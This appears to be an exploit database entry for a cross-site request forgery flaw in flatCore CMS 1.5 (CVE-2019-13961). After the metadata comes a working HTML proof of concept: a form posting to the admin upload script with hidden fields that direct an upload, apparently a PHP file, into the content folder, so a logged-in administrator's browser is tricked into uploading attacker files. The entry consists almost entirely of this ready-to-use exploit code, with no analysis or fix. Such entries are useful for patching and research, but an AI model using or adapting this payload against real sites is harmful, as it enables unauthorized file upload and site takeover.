flatCore 1.5 - Cross Site Request Forgery (CSRF)

Author: CodeSecLab
type: webapps
platform: php
port: nan
date_added: 2025-04-11 
date_updated: 2025-04-13 
verified: 0 
codes: CVE-2019-13961 
tags: 
aliases:  
screenshot_url:  
application_url:

# Exploit Title: flatCore 1.5 - Cross Site Request Forgery (CSRF)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/flatCore/flatCore-CMS
# Software Link: https://github.com/flatCore/flatCore-CMS
# Version: d3a5168
# Tested on: Ubuntu Windows
# CVE : CVE-2019-13961

PoC:
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <form action="http://flatcore3/acp/core/files.upload-script.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="upload_destination" value="../content/files">
        <input type="hidden" name="w" value="800">
        <input type="hidden" name="h" value="600">
        <input type="hidden" name="fz" value="1000">
        <input type="hidden" name="unchanged" value="yes">
        <input type="file" name="file" value="test.php">
        <input type="submit" value="Upload">
    </form>
</body>
</html>


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